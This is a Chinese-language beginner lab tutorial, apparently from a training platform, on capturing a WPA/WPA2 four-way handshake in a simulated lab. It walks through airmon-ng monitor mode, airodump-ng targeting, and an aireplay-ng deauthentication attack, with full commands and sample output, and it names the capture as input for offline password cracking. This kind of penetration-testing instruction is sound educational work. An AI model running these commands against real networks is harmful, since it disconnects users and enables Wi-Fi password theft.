使用 airodump-ng 手动捕获 WPA 握手

Beginner
立即练习

引言

WPA/WPA2 四次握手是现代 Wi-Fi 安全的关键组成部分。它是客户端和接入点 (AP) 在不直接传输预共享密钥(Wi-Fi 密码)的情况下证明它们知道该密钥的过程。捕获此握手是进行暴力破解或字典攻击以恢复 Wi-Fi 密码的第一步。

在本实验中,你将学习如何使用强大的 Aircrack-ng 工具集来执行此捕获。我们将使用 airmon-ng 将你的无线网卡置于监听模式,使用 airodump-ng 扫描并定位特定网络,以及使用 aireplay-ng 强制客户端重新认证,从而生成供我们捕获的握手信息。

本实验模拟了一个真实场景。你将获得一个无线接口 wlan0 和一个目标网络,以便在实验环境中进行练习。

将无线适配器置于监听模式

在此步骤中,我们将准备无线适配器以捕获网络流量。默认情况下,无线适配器以“托管模式”(Managed Mode)运行,这意味着它只关注发送给它的流量。为了捕获空中所有的 Wi-Fi 流量,我们需要将其切换到“监听模式”(Monitor Mode)。我们将使用 airmon-ng 工具来完成此操作。

首先,让我们检查无线接口的名称。打开终端并运行 iwconfig 命令。

iwconfig

你应该会看到列出的接口,通常命名为 wlan0

lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on

现在,使用 airmon-ngwlan0 接口上启动监听模式。此命令可能会终止一些可能干扰捕获的网络进程。

sudo airmon-ng start wlan0

输出将确认监听模式已启用。它通常会创建一个新的虚拟接口,通常命名为 wlan0mon,用于监听。

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before bringing up the interface in monitor mode.

    PID Name
    591 wpa_supplicant
    668 dhclient

PHY     Interface       Driver          Chipset
phy0    wlan0           ath9k           Atheros Communications Inc. AR9271 802.11n

                (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
                (mac80211 station mode vif disabled for [phy0]wlan0)

你可以通过再次运行 iwconfig 来验证新接口 wlan0mon 是否处于监听模式。

iwconfig wlan0mon

输出应显示 Mode:Monitor

wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off

运行 airodump-ng 以查找目标的 BSSID 和频道

在此步骤中,我们将使用 airodump-ng 扫描无线电波并识别我们的目标网络。airodump-ng 是一个强大的工具,用于捕获 802.11 帧并发现附近的接入点和已连接的客户端。

现在我们的接口 wlan0mon 已处于监听模式,我们可以开始扫描。在终端中运行以下命令:

sudo airodump-ng wlan0mon

你的终端将充满 airodump-ng 可以检测到的所有 Wi-Fi 网络列表。显示分为两部分。上半部分列出接入点 (AP),下半部分列出已连接的客户端 (Station)。

让我们分解一下 AP 的关键列:

  • BSSID: 接入点的 MAC 地址。这是其唯一的硬件标识符。
  • CH: 网络运行的频道。
  • ESSID: Wi-Fi 网络的易读名称(例如,“MyHomeWiFi”)。

以下是你可能看到的示例:

 CH  6 ][ Elapsed: 3 s ][ 2023-10-27 10:30

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -30       10        0    0   6  54e  WPA2 CCMP   PSK  LabEx_WiFi
 C8:D3:FF:A1:B2:C3  -65        8        0    0   1  54e  WPA2 CCMP   PSK  AnotherWiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

在本实验中,我们的目标网络是 LabEx_WiFi。从上面的输出中,识别其 BSSID00:11:22:33:44:55)和 CH6)。你将在下一步中使用它们。

记下 BSSID 和频道后,在终端中按 Ctrl+C 停止扫描过程。

运行 airodump-ng 针对特定 BSSID 和频道进行捕获

在此步骤中,我们将捕获范围仅限于目标网络。像上一步那样运行通用扫描会导致无线网卡进行“频道跳转”(channel hopping),这意味着我们可能会错过握手发生时的瞬间。为了确保成功捕获,我们将指示 airodump-ng 锁定到目标频道的监听,并且只监听来自其 BSSID 的流量。

我们还将使用 -w 标志将捕获的包写入文件。这个文件将包含握手信息。

使用你在上一步识别出的 BSSID 和频道(00:11:22:33:44:556)来构建以下命令。我们将输出文件命名为 handshake_capture

sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w handshake_capture wlan0mon

运行此命令后,airodump-ng 的显示将发生变化。现在它将只显示 LabEx_WiFi 网络的信息。你还将看到连接到它的任何客户端(STATIONs)的列表。

 CH  6 ][ Elapsed: 10 s ][ 2023-10-27 10:32 ][ WPA handshake: ...

 BSSID              PWR  RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -32  100       25        10    1   6  54e  WPA2 CCMP   PSK  LabEx_WiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -40    1- 1      0       15

重要提示: 保持此终端运行。我们需要它继续捕获。对于下一步,你必须打开一个新的终端窗口。你可以通过再次点击环境中应用程序坞(dock)中的终端图标来完成此操作。

使用 aireplay-ng 去认证客户端

在此步骤中,我们将主动促使握手发生。握手仅在客户端连接或重新连接到接入点时发生。如果客户端已连接,我们可以等待其自然断开连接,但这可能需要很长时间。更主动的方法是使用“去认证攻击”(deauthentication attack)强制其断开连接。

我们将使用 aireplay-ng 向客户端发送特制的去认证数据包,使其误以为已被 AP 断开连接。然后,客户端将自动尝试重新连接,从而生成我们的 airodump-ng 进程(在另一个终端中运行)正在等待捕获的 WPA 握手。

查看你的第一个终端窗口(运行目标 airodump-ng 的那个)。在 STATION 列下,你将看到已连接客户端的 MAC 地址。在本实验中,我们将假设客户端的 MAC 地址是 AA:BB:CC:DD:EE:FF

现在,在你的新终端窗口中,执行以下 aireplay-ng 命令。

  • --deauth 5: 这将发送 5 个去认证数据包。通常一小批就足够了。
  • -a 00:11:22:33:44:55: 这是我们目标接入点的 BSSID。
  • -c AA:BB:CC:DD:EE:FF: 这是我们正在定位的客户端的 MAC 地址。
sudo aireplay-ng --deauth 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon

你将看到 aireplay-ng 的输出,确认它正在发送数据包。

10:35:10  Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
10:35:11  Sending 64 directed DeAuths. STMAC: [AA:BB:CC:DD:EE:FF] [ 5|62 ACKs]

现在,让我们检查捕获是否成功。

在 airodump-ng 窗口中确认握手捕获

在最后一步,我们将确认是否已成功捕获 WPA 握手。我们刚才执行的去认证攻击应该已经导致客户端重新连接,并且 airodump-ng 应该已经捕获了由此产生的握手。

将你的注意力切换回你的第一个终端窗口,也就是 airodump-ng 正在运行并定位 LabEx_WiFi 的那个。

查看 airodump-ng 显示的右上角。如果捕获成功,你将看到一条消息,显示 [ WPA handshake: 00:11:22:33:44:55 ]

 CH  6 ][ Elapsed: 45 s ][ 2023-10-27 10:35 ][ WPA handshake: 00:11:22:33:44:55

 BSSID              PWR  RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -32  100       80       115    8   6  54e  WPA2 CCMP   PSK  LabEx_WiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -40    1-11      0       98

看到这条消息就是你的确认!你已成功捕获了四次握手。

你现在可以按 Ctrl+C 停止每个终端窗口中的进程。

捕获的数据,包括握手信息,已保存到你当前目录的文件中。你可以使用 ls -l 命令列出它们。

ls -l

你应该会看到几个以 handshake_capture 开头的文件,其中最重要的是 handshake_capture-01.cap

-rw-r--r-- 1 root root  452 Oct 27 10:36 handshake_capture-01.cap
-rw-r--r-- 1 root root 1234 Oct 27 10:36 handshake_capture-01.csv
...

这个 .cap 文件就是关键。它包含了握手信息,现在可以与 aircrack-nghashcat 等工具一起用于离线密码破解尝试。

总结

恭喜你完成了本次实验!你已成功执行了 Wi-Fi 入侵测试中的一项基本技术。

在本次实验中,你学会了如何:

  1. 使用 airmon-ng 将无线网卡置于监控模式(monitor mode)。
  2. 扫描附近的无线网络,使用 airodump-ng 识别目标。
  3. airodump-ng 聚焦于特定的 BSSID 和信道,为目标捕获做准备,并将结果保存到文件中。
  4. 使用 aireplay-ng 执行去认证攻击,强制客户端重新连接。
  5. airodump-ng 的输出中确认 WPA 握手的捕获。

你生成的 .cap 文件包含了有价值的握手数据。在实际操作中,下一步合乎逻辑的操作是使用此文件尝试破解 Wi-Fi 密码,这将在另一个实验中进行讲解。你现在已经对捕获此关键数据的手动过程有了扎实的理解。